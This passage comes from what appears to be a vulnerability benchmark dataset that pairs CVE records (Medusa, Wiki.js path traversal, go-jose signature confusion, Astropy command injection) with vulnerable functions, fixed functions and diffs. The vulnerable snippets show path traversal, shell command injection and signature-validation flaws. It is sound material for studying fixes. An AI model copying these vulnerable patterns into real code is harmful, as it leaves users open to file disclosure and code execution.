changes in local files\")\n                else:\n                    log.warning(u'{cmd} returned : {output}', {'cmd': cmd, 'output': output})\n            else:\n                log.warning(u'{cmd} returned no data', {'cmd': cmd})\n\n        elif exit_status == 128:\n            log.warning('{cmd} returned ({status}) : {output}',\n                        {'cmd': cmd, 'status': exit_status, 'output': output})\n\n        elif exit_status == 129:\n            if 'unknown option' in output and 'set-upstream-to' in output:\n                log.info(\"Can't set upstream to origin/{0} because you're running an old version of git.\"\n                         '\\nPlease upgrade your git installation to its latest version.', app.BRANCH)\n            else:\n                log.warning('{cmd} returned ({status}) : {output}',\n                            {'cmd': cmd, 'status': exit_status, 'output': output})\n\n        else:\n            log.warning(u'{cmd} returned : {output}. Treat as error for now', {'cmd': cmd, 'output': output})\n            exit_status = 1\n\n        return output, err, exit_status"}], "fix_func": [{"id": "fix_py_241_1", "commit": "66d4be8", "file_path": "medusa/updater/github_updater.py", "start_line": 74, "end_line": 109, "snippet": "    def _find_working_git(self):\n        test_cmd = 'version'\n        main_git = app.GIT_PATH or 'git'\n\n        log.debug(u'Checking if we can use git commands: {0} {1}', main_git, test_cmd)\n        _, _, exit_status = self._run_git(main_git, test_cmd)\n\n        if exit_status == 0:\n            log.debug(u'Using: {0}', main_git)\n            return main_git\n        else:\n            log.debug(u'Not using: {0}', main_git)\n\n        # trying alternatives\n        alternative_git = []\n\n        # osx people who start sr from launchd have a broken path, so try a hail-mary attempt for them\n        if platform.system().lower() == 'darwin':\n            alternative_git.append('/usr/local/git/bin/git')\n\n        if platform.system().lower() == 'windows':\n            if main_git != main_git.lower():\n                alternative_git.append(main_git.lower())\n\n        if alternative_git:\n            log.debug(u'Trying known alternative git locations')\n\n            for cur_git in alternative_git:\n                log.debug(u'Checking if we can use git commands: {0} {1}', cur_git, test_cmd)\n                _, _, exit_status = self._run_git(cur_git, test_cmd)\n\n                if exit_status == 0:\n                    log.debug(u'Using: {0}', cur_git)\n                    return cur_git\n                else:\n                    log.debug(u'Not using: {0}', cur_git)"}, {"id": "fix_py_241_2", "commit": "66d4be8", "file_path": "medusa/updater/github_updater.py", "start_line": 111, "end_line": 182, "snippet": "    def _run_git(self, git_path, args):\n        output = err = exit_status = None\n\n        if not git_path:\n            git_path = self._find_working_git()\n            if git_path:\n                self._git_path = git_path\n            else:\n                # Warn user only if he has version check enabled\n                if app.VERSION_NOTIFY:\n                    log.warning(u\"No git specified, can't use git commands\")\n                    app.NEWEST_VERSION_STRING = ERROR_MESSAGE\n                exit_status = 1\n                return output, err, exit_status\n\n        if git_path != 'git' and not os.path.isfile(git_path):\n            log.warning(u\"Invalid git specified, can't use git commands\")\n            exit_status = 1\n            return output, err, exit_status\n\n        # If we have a valid git remove the git warning\n        # String will be updated as soon we check github\n        app.NEWEST_VERSION_STRING = None\n        cmd = git_path + ' ' + args\n\n        try:\n            log.debug(u'Executing {cmd} with your shell in {dir}', {'cmd': cmd, 'dir': app.PROG_DIR})\n            p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,\n                                 shell=True, cwd=app.PROG_DIR)\n            output, err = p.communicate()\n            exit_status = p.returncode\n\n            # Convert bytes to string in python3\n            if isinstance(output, (bytes, bytearray)):\n                output = output.decode('utf-8')\n\n            if output:\n                output = output.strip()\n\n        except OSError:\n            log.info(u\"Command {cmd} didn't work\", {'cmd': cmd})\n            exit_status = 1\n\n        if exit_status == 0:\n            log.debug(u'{cmd} : returned successful', {'cmd': cmd})\n\n        elif exit_status == 1:\n            if output:\n                if 'stash' in output:\n                    log.warning(u\"Enable 'git reset' in settings or stash your changes in local files\")\n                else:\n                    log.warning(u'{cmd} returned : {output}', {'cmd': cmd, 'output': output})\n            else:\n                log.warning(u'{cmd} returned no data', {'cmd': cmd})\n\n        elif exit_status == 128:\n            log.warning('{cmd} returned ({status}) : {output}',\n                        {'cmd': cmd, 'status': exit_status, 'output': output})\n\n        elif exit_status == 129:\n            if 'unknown option' in output and 'set-upstream-to' in output:\n                log.info(\"Can't set upstream to origin/{0} because you're running an old version of git.\"\n                         '\\nPlease upgrade your git installation to its latest version.', app.BRANCH)\n            else:\n                log.warning('{cmd} returned ({status}) : {output}',\n                            {'cmd': cmd, 'status': exit_status, 'output': output})\n\n        else:\n            log.warning(u'{cmd} returned : {output}. Treat as error for now', {'cmd': cmd, 'output': output})\n            exit_status = 1\n\n        return output, err, exit_status"}], "vul_patch": "--- a/medusa/updater/github_updater.py\n+++ b/medusa/updater/github_updater.py\n@@ -1,10 +1,6 @@\n     def _find_working_git(self):\n         test_cmd = 'version'\n-\n-        if app.GIT_PATH:\n-            main_git = '\"' + app.GIT_PATH + '\"'\n-        else:\n-            main_git = 'git'\n+        main_git = app.GIT_PATH or 'git'\n \n         log.debug(u'Checking if we can use git commands: {0} {1}', main_git, test_cmd)\n         _, _, exit_status = self._run_git(main_git, test_cmd)\n\n--- a/medusa/updater/github_updater.py\n+++ b/medusa/updater/github_updater.py\n@@ -12,6 +12,11 @@\n                     app.NEWEST_VERSION_STRING = ERROR_MESSAGE\n                 exit_status = 1\n                 return output, err, exit_status\n+\n+        if git_path != 'git' and not os.path.isfile(git_path):\n+            log.warning(u\"Invalid git specified, can't use git commands\")\n+            exit_status = 1\n+            return output, err, exit_status\n \n         # If we have a valid git remove the git warning\n         # String will be updated as soon we check github\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-15236", "cve_description": "In Wiki.js before version 2.5.151, directory traversal outside of Wiki.js context is possible when a storage module with local asset cache fetching is enabled. A malicious user can potentially read any file on the file system by crafting a special URL that allows for directory traversal. This is only possible when a storage module implementing local asset cache (e.g Local File System or Git) is enabled and that no web application firewall solution (e.g. cloudflare) strips potentially malicious URLs. Commit 084dcd69d1591586ee4752101e675d5f0ac6dcdc fixes this vulnerability by sanitizing the path before it is passed on to the storage module. The sanitization step removes any directory traversal (e.g. `..` and `.`) sequences as well as invalid filesystem characters from the path. As a workaround, disable any storage module with local asset caching capabilities such as Local File System and Git.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/Requarks/wiki", "patch_url": ["https://github.com/Requarks/wiki/commit/084dcd69d1591586ee4752101e675d5f0ac6dcdc"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_255_1", "commit": "9ccd1f8", "file_path": "server/helpers/page.js", "start_line": "21", "end_line": "91", "snippet": "  parsePath (rawPath, opts = {}) {\n    let pathObj = {\n      locale: WIKI.config.lang.code,\n      path: 'home',\n      private: false,\n      privateNS: '',\n      explicitLocale: false\n    }\n\n    // Clean Path\n    rawPath = _.trim(qs.unescape(rawPath))\n    if (_.startsWith(rawPath, '/')) { rawPath = rawPath.substring(1) }\n    if (rawPath === '') { rawPath = 'home' }\n\n    // Extract Info\n    let pathParts = _.filter(_.split(rawPath, '/'), p => !_.isEmpty(p))\n    if (pathParts[0].length === 1) {\n      pathParts.shift()\n    }\n    if (localeSegmentRegex.test(pathParts[0])) {\n      pathObj.locale = pathParts[0]\n      pathObj.explicitLocale = true\n      pathParts.shift()\n    }\n\n    // Strip extension\n    if (opts.stripExt && pathParts.length > 0) {\n      const lastPart = _.last(pathParts)\n      if (lastPart.indexOf('.') > 0) {\n        pathParts.pop()\n        const lastPartMeta = path.parse(lastPart)\n        pathParts.push(lastPartMeta.name)\n      }\n    }\n\n    pathObj.path = _.join(pathParts, '/')\n    return pathObj\n  },\n  /**\n   * Generate unique hash from page\n   */\n  generateHash(opts) {\n    return crypto.createHash('sha1').update(`${opts.locale}|${opts.path}|${opts.privateNS}`).digest('hex')\n  },\n  /**\n   * Inject Page Metadata\n   */\n  injectPageMetadata(page) {\n    let meta = [\n      ['title', page.title],\n      ['description', page.description],\n      ['published', page.isPublished.toString()],\n      ['date', page.updatedAt],\n      ['tags', page.tags ? page.tags.map(t => t.tag).join(', ') : ''],\n      ['editor', page.editorKey],\n      ['dateCreated', page.createdAt],\n    ]\n    switch (page.contentType) {\n      case 'markdown':\n        return '---\\n' + meta.map(mt => `${mt[0]}: ${mt[1]}`).join('\\n') + '\\n---\\n\\n' + page.content\n      case 'html':\n        return '<!--\\n' + meta.map(mt => `${mt[0]}: ${mt[1]}`).join('\\n') + '\\n-->\\n\\n' + page.content\n      case 'json':\n        return {\n          ...page.content,\n          _meta: _.fromPairs(meta)\n        }\n      default:\n        return page.content\n    }\n  },"}], "fix_func": [{"id": "fix_js_255_1", "commit": "084dcd6", "file_path": "server/helpers/page.js", "start_line": "23", "end_line": "97", "snippet": "  parsePath (rawPath, opts = {}) {\n    let pathObj = {\n      locale: WIKI.config.lang.code,\n      path: 'home',\n      private: false,\n      privateNS: '',\n      explicitLocale: false\n    }\n\n    // Clean Path\n    rawPath = _.trim(qs.unescape(rawPath))\n    if (_.startsWith(rawPath, '/')) { rawPath = rawPath.substring(1) }\n    rawPath = rawPath.replace(unsafeCharsRegex, '')\n    if (rawPath === '') { rawPath = 'home' }\n\n    // Extract Info\n    let pathParts = _.filter(_.split(rawPath, '/'), p => {\n      p = _.trim(p)\n      return !_.isEmpty(p) && p !== '..' && p !== '.'\n    })\n    if (pathParts[0].length === 1) {\n      pathParts.shift()\n    }\n    if (localeSegmentRegex.test(pathParts[0])) {\n      pathObj.locale = pathParts[0]\n      pathObj.explicitLocale = true\n      pathParts.shift()\n    }\n\n    // Strip extension\n    if (opts.stripExt && pathParts.length > 0) {\n      const lastPart = _.last(pathParts)\n      if (lastPart.indexOf('.') > 0) {\n        pathParts.pop()\n        const lastPartMeta = path.parse(lastPart)\n        pathParts.push(lastPartMeta.name)\n      }\n    }\n\n    pathObj.path = _.join(pathParts, '/')\n    return pathObj\n  },\n  /**\n   * Generate unique hash from page\n   */\n  generateHash(opts) {\n    return crypto.createHash('sha1').update(`${opts.locale}|${opts.path}|${opts.privateNS}`).digest('hex')\n  },\n  /**\n   * Inject Page Metadata\n   */\n  injectPageMetadata(page) {\n    let meta = [\n      ['title', page.title],\n      ['description', page.description],\n      ['published', page.isPublished.toString()],\n      ['date', page.updatedAt],\n      ['tags', page.tags ? page.tags.map(t => t.tag).join(', ') : ''],\n      ['editor', page.editorKey],\n      ['dateCreated', page.createdAt]\n    ]\n    switch (page.contentType) {\n      case 'markdown':\n        return '---\\n' + meta.map(mt => `${mt[0]}: ${mt[1]}`).join('\\n') + '\\n---\\n\\n' + page.content\n      case 'html':\n        return '<!--\\n' + meta.map(mt => `${mt[0]}: ${mt[1]}`).join('\\n') + '\\n-->\\n\\n' + page.content\n      case 'json':\n        return {\n          ...page.content,\n          _meta: _.fromPairs(meta)\n        }\n      default:\n        return page.content\n    }\n  },"}, {"id": "fix_js_255_2", "commit": "084dcd6", "file_path": "server/helpers/page.js", "start_line": "9", "end_line": "9", "snippet": "const unsafeCharsRegex = /[\\x00-\\x1f\\x80-\\x9f\\\\\"|<>:*?]/"}], "vul_patch": "--- a/server/helpers/page.js\n+++ b/server/helpers/page.js\n@@ -10,10 +10,14 @@\n     // Clean Path\n     rawPath = _.trim(qs.unescape(rawPath))\n     if (_.startsWith(rawPath, '/')) { rawPath = rawPath.substring(1) }\n+    rawPath = rawPath.replace(unsafeCharsRegex, '')\n     if (rawPath === '') { rawPath = 'home' }\n \n     // Extract Info\n-    let pathParts = _.filter(_.split(rawPath, '/'), p => !_.isEmpty(p))\n+    let pathParts = _.filter(_.split(rawPath, '/'), p => {\n+      p = _.trim(p)\n+      return !_.isEmpty(p) && p !== '..' && p !== '.'\n+    })\n     if (pathParts[0].length === 1) {\n       pathParts.shift()\n     }\n@@ -53,7 +57,7 @@\n       ['date', page.updatedAt],\n       ['tags', page.tags ? page.tags.map(t => t.tag).join(', ') : ''],\n       ['editor', page.editorKey],\n-      ['dateCreated', page.createdAt],\n+      ['dateCreated', page.createdAt]\n     ]\n     switch (page.contentType) {\n       case 'markdown':\n\n--- /dev/null\n+++ b/server/helpers/page.js\n@@ -0,0 +1 @@\n+const unsafeCharsRegex = /[\\x00-\\x1f\\x80-\\x9f\\\\\"|<>:*?]/\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2016-9122", "cve_description": "go-jose before 1.0.4 suffers from multiple signatures exploitation. The go-jose library supports messages with multiple signatures. However, when validating a signed message the API did not indicate which signature was valid, which could potentially lead to confusion. For example, users of the library might mistakenly read protected header values from an attached signature that was different from the one originally validated.", "cwe_info": {"CWE-284": {"name": "Improper Access Control", "description": "The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor."}}, "repo": "https://github.com/square/go-jose", "patch_url": ["https://github.com/square/go-jose/commit/2c5656adca9909843c4ff50acf1d2cf8f32da7e6"], "programing_language": "Go", "vul_func": [{"id": "vul_go_238_1", "commit": "789a4c4", "file_path": "crypter.go", "start_line": 19, "end_line": 24, "snippet": "import (\n\t\"crypto/ecdsa\"\n\t\"crypto/rsa\"\n\t\"fmt\"\n\t\"reflect\"\n)"}, {"id": "vul_go_238_2", "commit": "789a4c4", "file_path": "crypter.go", "start_line": 296, "end_line": 349, "snippet": "func (obj JsonWebEncryption) Decrypt(decryptionKey interface{}) ([]byte, error) {\n\theaders := obj.mergedHeaders(nil)\n\n\tif len(headers.Crit) > 0 {\n\t\treturn nil, fmt.Errorf(\"square/go-jose: unsupported crit header\")\n\t}\n\n\tdecrypter, err := newDecrypter(decryptionKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcipher := getContentCipher(headers.Enc)\n\tif cipher == nil {\n\t\treturn nil, fmt.Errorf(\"square/go-jose: unsupported enc value '%s'\", string(headers.Enc))\n\t}\n\n\tgenerator := randomKeyGenerator{\n\t\tsize: cipher.keySize(),\n\t}\n\n\tparts := &aeadParts{\n\t\tiv:         obj.iv,\n\t\tciphertext: obj.ciphertext,\n\t\ttag:        obj.tag,\n\t}\n\n\tauthData := obj.computeAuthData()\n\n\tvar plaintext []byte\n\tfor _, recipient := range obj.recipients {\n\t\trecipientHeaders := obj.mergedHeaders(&recipient)\n\n\t\tcek, err := decrypter.decryptKey(recipientHeaders, &recipient, generator)\n\t\tif err == nil {\n\t\t\t// Found a valid CEK -- let's try to decrypt.\n\t\t\tplaintext, err = cipher.decrypt(cek, authData, parts)\n\t\t\tif err == nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tif plaintext == nil {\n\t\treturn nil, ErrCryptoFailure\n\t}\n\n\t// The \"zip\" header parameter may only be present in the protected header.\n\tif obj.protected.Zip != \"\" {\n\t\tplaintext, err = decompress(obj.protected.Zip, plaintext)\n\t}\n\n\treturn plaintext, err\n}"}, {"id": "vul_go_238_3", "commit": "789a4c4", "file_path": "signing.go", "start_line": 196, "end_line": 218, "snippet": "func (obj JsonWebSignature) Verify(verificationKey interface{}) ([]byte, error) {\n\tverifier, err := newVerifier(verificationKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, signature := range obj.Signatures {\n\t\theaders := signature.mergedHeaders()\n\t\tif len(headers.Crit) > 0 {\n\t\t\t// Unsupported crit header\n\t\t\tcontinue\n\t\t}\n\n\t\tinput := obj.computeAuthData(&signature)\n\t\talg := SignatureAlgorithm(headers.Alg)\n\t\terr := verifier.verifyPayload(input, signature.Signature, alg)\n\t\tif err == nil {\n\t\t\treturn obj.payload, nil\n\t\t}\n\t}\n\n\treturn nil, ErrCryptoFailure\n}"}], "fix_func": [{"id": "fix_go_238_1", "commit": "2c5656adca9909843c4ff50acf1d2cf8f32da7e6", "file_path": "crypter.go", "start_line": 19, "end_line": 25, "snippet": "import (\n\t\"crypto/ecdsa\"\n\t\"crypto/rsa\"\n\t\"errors\"\n\t\"fmt\"\n\t\"reflect\"\n)"}, {"id": "fix_go_238_2", "commit": "2c5656adca9909843c4ff50acf1d2cf8f32da7e6", "file_path": "crypter.go", "start_line": 299, "end_line": 416, "snippet": "func (obj JsonWebEncryption) Decrypt(decryptionKey interface{}) ([]byte, error) {\n\theaders := obj.mergedHeaders(nil)\n\n\tif len(obj.recipients) > 1 {\n\t\treturn nil, errors.New(\"square/go-jose: too many recipients in payload; expecting only one\")\n\t}\n\n\tif len(headers.Crit) > 0 {\n\t\treturn nil, fmt.Errorf(\"square/go-jose: unsupported crit header\")\n\t}\n\n\tdecrypter, err := newDecrypter(decryptionKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcipher := getContentCipher(headers.Enc)\n\tif cipher == nil {\n\t\treturn nil, fmt.Errorf(\"square/go-jose: unsupported enc value '%s'\", string(headers.Enc))\n\t}\n\n\tgenerator := randomKeyGenerator{\n\t\tsize: cipher.keySize(),\n\t}\n\n\tparts := &aeadParts{\n\t\tiv:         obj.iv,\n\t\tciphertext: obj.ciphertext,\n\t\ttag:        obj.tag,\n\t}\n\n\tauthData := obj.computeAuthData()\n\n\tvar plaintext []byte\n\trecipient := obj.recipients[0]\n\trecipientHeaders := obj.mergedHeaders(&recipient)\n\n\tcek, err := decrypter.decryptKey(recipientHeaders, &recipient, generator)\n\tif err == nil {\n\t\t// Found a valid CEK -- let's try to decrypt.\n\t\tplaintext, err = cipher.decrypt(cek, authData, parts)\n\t}\n\n\tif plaintext == nil {\n\t\treturn nil, ErrCryptoFailure\n\t}\n\n\t// The \"zip\" header parameter may only be present in the protected header.\n\tif obj.protected.Zip != \"\" {\n\t\tplaintext, err = decompress(obj.protected.Zip, plaintext)\n\t}\n\n\treturn plaintext, err\n}\n\n// DecryptMulti decrypts and validates the object and returns the plaintexts,\n// with support for multiple recipients. It returns the index of the recipient\n// for which the decryption was successful, the merged headers for that recipient,\n// and the plaintext.\nfunc (obj JsonWebEncryption) DecryptMulti(decryptionKey interface{}) (int, JoseHeader, []byte, error) {\n\tglobalHeaders := obj.mergedHeaders(nil)\n\n\tif len(globalHeaders.Crit) > 0 {\n\t\treturn -1, JoseHeader{}, nil, fmt.Errorf(\"square/go-jose: unsupported crit header\")\n\t}\n\n\tdecrypter, err := newDecrypter(decryptionKey)\n\tif err != nil {\n\t\treturn -1, JoseHeader{}, nil, err\n\t}\n\n\tcipher := getContentCipher(globalHeaders.Enc)\n\tif cipher == nil {\n\t\treturn -1, JoseHeader{}, nil, fmt.Errorf(\"square/go-jose: unsupported enc value '%s'\", string(globalHeaders.Enc))\n\t}\n\n\tgenerator := randomKeyGenerator{\n\t\tsize: cipher.keySize(),\n\t}\n\n\tparts := &aeadParts{\n\t\tiv:         obj.iv,\n\t\tciphertext: obj.ciphertext,\n\t\ttag:        obj.tag,\n\t}\n\n\tauthData := obj.computeAuthData()\n\n\tindex := -1\n\tvar plaintext []byte\n\tvar headers rawHeader\n\n\tfor i, recipient := range obj.recipients {\n\t\trecipientHeaders := obj.mergedHeaders(&recipient)\n\n\t\tcek, err := decrypter.decryptKey(recipientHeaders, &recipient, generator)\n\t\tif err == nil {\n\t\t\t// Found a valid CEK -- let's try to decrypt.\n\t\t\tplaintext, err = cipher.decrypt(cek, authData, parts)\n\t\t\tif err == nil {\n\t\t\t\tindex = i\n\t\t\t\theaders = recipientHeaders\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tif plaintext == nil || err != nil {\n\t\treturn -1, JoseHeader{}, nil, ErrCryptoFailure\n\t}\n\n\t// The \"zip\" header parameter may only be present in the protected header.\n\tif obj.protected.Zip != \"\" {\n\t\tplaintext, err = decompress(obj.protected.Zip, plaintext)\n\t}\n\n\treturn index, headers.sanitized(), plaintext, err\n}"}, {"id": "fix_go_238_3", "commit": "2c5656adca9909843c4ff50acf1d2cf8f32da7e6", "file_path": "signing.go", "start_line": 196, "end_line": 224, "snippet": "// Verify validates the signature on the object and returns the payload.\n// Note that this function does not support multi-signature, if you desire\n// multi-sig verification use VerifyMulti instead.\nfunc (obj JsonWebSignature) Verify(verificationKey interface{}) ([]byte, error) {\n\tverifier, err := newVerifier(verificationKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(obj.Signatures) > 1 {\n\t\treturn nil, errors.New(\"square/go-jose: too many signatures in payload; expecting only one\")\n\t}\n\n\tsignature := obj.Signatures[0]\n\theaders := signature.mergedHeaders()\n\tif len(headers.Crit) > 0 {\n\t\t// Unsupported crit header\n\t\treturn nil, ErrCryptoFailure\n\t}\n\n\tinput := obj.computeAuthData(&signature)\n\talg := SignatureAlgorithm(headers.Alg)\n\terr = verifier.verifyPayload(input, signature.Signature, alg)\n\tif err == nil {\n\t\treturn obj.payload, nil\n\t}\n\n\treturn nil, ErrCryptoFailure\n}"}, {"id": "fix_go_238_4", "commit": "2c5656adca9909843c4ff50acf1d2cf8f32da7e6", "file_path": "signing.go", "start_line": 230, "end_line": 252, "snippet": "func (obj JsonWebSignature) VerifyMulti(verificationKey interface{}) (int, Signature, []byte, error) {\n\tverifier, err := newVerifier(verificationKey)\n\tif err != nil {\n\t\treturn -1, Signature{}, nil, err\n\t}\n\n\tfor i, signature := range obj.Signatures {\n\t\theaders := signature.mergedHeaders()\n\t\tif len(headers.Crit) > 0 {\n\t\t\t// Unsupported crit header\n\t\t\tcontinue\n\t\t}\n\n\t\tinput := obj.computeAuthData(&signature)\n\t\talg := SignatureAlgorithm(headers.Alg)\n\t\terr := verifier.verifyPayload(input, signature.Signature, alg)\n\t\tif err == nil {\n\t\t\treturn i, signature, obj.payload, nil\n\t\t}\n\t}\n\n\treturn -1, Signature{}, nil, ErrCryptoFailure\n}"}], "vul_patch": "--- a/crypter.go\n+++ b/crypter.go\n@@ -1,6 +1,7 @@\n import (\n \t\"crypto/ecdsa\"\n \t\"crypto/rsa\"\n+\t\"errors\"\n \t\"fmt\"\n \t\"reflect\"\n )\n\n--- a/crypter.go\n+++ b/crypter.go\n@@ -1,5 +1,9 @@\n func (obj JsonWebEncryption) Decrypt(decryptionKey interface{}) ([]byte, error) {\n \theaders := obj.mergedHeaders(nil)\n+\n+\tif len(obj.recipients) > 1 {\n+\t\treturn nil, errors.New(\"square/go-jose: too many recipients in payload; expecting only one\")\n+\t}\n \n \tif len(headers.Crit) > 0 {\n \t\treturn nil, fmt.Errorf(\"square/go-jose: unsupported crit header\")\n@@ -28,17 +32,13 @@\n \tauthData := obj.computeAuthData()\n \n \tvar plaintext []byte\n-\tfor _, recipient := range obj.recipients {\n-\t\trecipientHeaders := obj.mergedHeaders(&recipient)\n+\trecipient := obj.recipients[0]\n+\trecipientHeaders := obj.mergedHeaders(&recipient)\n \n-\t\tcek, err := decrypter.decryptKey(recipientHeaders, &recipient, generator)\n-\t\tif err == nil {\n-\t\t\t// Found a valid CEK -- let's try to decrypt.\n-\t\t\tplaintext, err = cipher.decrypt(cek, authData, parts)\n-\t\t\tif err == nil {\n-\t\t\t\tbreak\n-\t\t\t}\n-\t\t}\n+\tcek, err := decrypter.decryptKey(recipientHeaders, &recipient, generator)\n+\tif err == nil {\n+\t\t// Found a valid CEK -- let's try to decrypt.\n+\t\tplaintext, err = cipher.decrypt(cek, authData, parts)\n \t}\n \n \tif plaintext == nil {\n@@ -52,3 +52,67 @@\n \n \treturn plaintext, err\n }\n+\n+// DecryptMulti decrypts and validates the object and returns the plaintexts,\n+// with support for multiple recipients. It returns the index of the recipient\n+// for which the decryption was successful, the merged headers for that recipient,\n+// and the plaintext.\n+func (obj JsonWebEncryption) DecryptMulti(decryptionKey interface{}) (int, JoseHeader, []byte, error) {\n+\tglobalHeaders := obj.mergedHeaders(nil)\n+\n+\tif len(globalHeaders.Crit) > 0 {\n+\t\treturn -1, JoseHeader{}, nil, fmt.Errorf(\"square/go-jose: unsupported crit header\")\n+\t}\n+\n+\tdecrypter, err := newDecrypter(decryptionKey)\n+\tif err != nil {\n+\t\treturn -1, JoseHeader{}, nil, err\n+\t}\n+\n+\tcipher := getContentCipher(globalHeaders.Enc)\n+\tif cipher == nil {\n+\t\treturn -1, JoseHeader{}, nil, fmt.Errorf(\"square/go-jose: unsupported enc value '%s'\", string(globalHeaders.Enc))\n+\t}\n+\n+\tgenerator := randomKeyGenerator{\n+\t\tsize: cipher.keySize(),\n+\t}\n+\n+\tparts := &aeadParts{\n+\t\tiv:         obj.iv,\n+\t\tciphertext: obj.ciphertext,\n+\t\ttag:        obj.tag,\n+\t}\n+\n+\tauthData := obj.computeAuthData()\n+\n+\tindex := -1\n+\tvar plaintext []byte\n+\tvar headers rawHeader\n+\n+\tfor i, recipient := range obj.recipients {\n+\t\trecipientHeaders := obj.mergedHeaders(&recipient)\n+\n+\t\tcek, err := decrypter.decryptKey(recipientHeaders, &recipient, generator)\n+\t\tif err == nil {\n+\t\t\t// Found a valid CEK -- let's try to decrypt.\n+\t\t\tplaintext, err = cipher.decrypt(cek, authData, parts)\n+\t\t\tif err == nil {\n+\t\t\t\tindex = i\n+\t\t\t\theaders = recipientHeaders\n+\t\t\t\tbreak\n+\t\t\t}\n+\t\t}\n+\t}\n+\n+\tif plaintext == nil || err != nil {\n+\t\treturn -1, JoseHeader{}, nil, ErrCryptoFailure\n+\t}\n+\n+\t// The \"zip\" header parameter may only be present in the protected header.\n+\tif obj.protected.Zip != \"\" {\n+\t\tplaintext, err = decompress(obj.protected.Zip, plaintext)\n+\t}\n+\n+\treturn index, headers.sanitized(), plaintext, err\n+}\n\n--- a/signing.go\n+++ b/signing.go\n@@ -1,22 +1,28 @@\n+// Verify validates the signature on the object and returns the payload.\n+// Note that this function does not support multi-signature, if you desire\n+// multi-sig verification use VerifyMulti instead.\n func (obj JsonWebSignature) Verify(verificationKey interface{}) ([]byte, error) {\n \tverifier, err := newVerifier(verificationKey)\n \tif err != nil {\n \t\treturn nil, err\n \t}\n \n-\tfor _, signature := range obj.Signatures {\n-\t\theaders := signature.mergedHeaders()\n-\t\tif len(headers.Crit) > 0 {\n-\t\t\t// Unsupported crit header\n-\t\t\tcontinue\n-\t\t}\n+\tif len(obj.Signatures) > 1 {\n+\t\treturn nil, errors.New(\"square/go-jose: too many signatures in payload; expecting only one\")\n+\t}\n \n-\t\tinput := obj.computeAuthData(&signature)\n-\t\talg := SignatureAlgorithm(headers.Alg)\n-\t\terr := verifier.verifyPayload(input, signature.Signature, alg)\n-\t\tif err == nil {\n-\t\t\treturn obj.payload, nil\n-\t\t}\n+\tsignature := obj.Signatures[0]\n+\theaders := signature.mergedHeaders()\n+\tif len(headers.Crit) > 0 {\n+\t\t// Unsupported crit header\n+\t\treturn nil, ErrCryptoFailure\n+\t}\n+\n+\tinput := obj.computeAuthData(&signature)\n+\talg := SignatureAlgorithm(headers.Alg)\n+\terr = verifier.verifyPayload(input, signature.Signature, alg)\n+\tif err == nil {\n+\t\treturn obj.payload, nil\n \t}\n \n \treturn nil, ErrCryptoFailure\n\n--- /dev/null\n+++ b/signing.go\n@@ -0,0 +1,23 @@\n+func (obj JsonWebSignature) VerifyMulti(verificationKey interface{}) (int, Signature, []byte, error) {\n+\tverifier, err := newVerifier(verificationKey)\n+\tif err != nil {\n+\t\treturn -1, Signature{}, nil, err\n+\t}\n+\n+\tfor i, signature := range obj.Signatures {\n+\t\theaders := signature.mergedHeaders()\n+\t\tif len(headers.Crit) > 0 {\n+\t\t\t// Unsupported crit header\n+\t\t\tcontinue\n+\t\t}\n+\n+\t\tinput := obj.computeAuthData(&signature)\n+\t\talg := SignatureAlgorithm(headers.Alg)\n+\t\terr := verifier.verifyPayload(input, signature.Signature, alg)\n+\t\tif err == nil {\n+\t\t\treturn i, signature, obj.payload, nil\n+\t\t}\n+\t}\n+\n+\treturn -1, Signature{}, nil, ErrCryptoFailure\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-41334", "cve_description": "Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`.  Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/astropy/astropy", "patch_url": ["https://github.com/astropy/astropy/commit/22057d37b1313f5f5a9b5783df0a091d978dccb5"], "programing_language": "Python", "vul_func": [{"id": "vul_py_367_1", "commit": "026a140cec08a9e5b7c80726956969290f50e2d4", "file_path": "astropy/coordinates/transformations.py", "start_line": 468, "end_line": 591, "snippet": "    def to_dot_graph(\n        self,\n        priorities=True,\n        addnodes=[],\n        savefn=None,\n        savelayout=\"plain\",\n        saveformat=None,\n        color_edges=True,\n    ):\n        \"\"\"\n        Converts this transform graph to the graphviz_ DOT format.\n\n        Optionally saves it (requires `graphviz`_ be installed and on your path).\n\n        .. _graphviz: http://www.graphviz.org/\n\n        Parameters\n        ----------\n        priorities : bool\n            If `True`, show the priority values for each transform.  Otherwise,\n            the will not be included in the graph.\n        addnodes : sequence of str\n            Additional coordinate systems to add (this can include systems\n            already in the 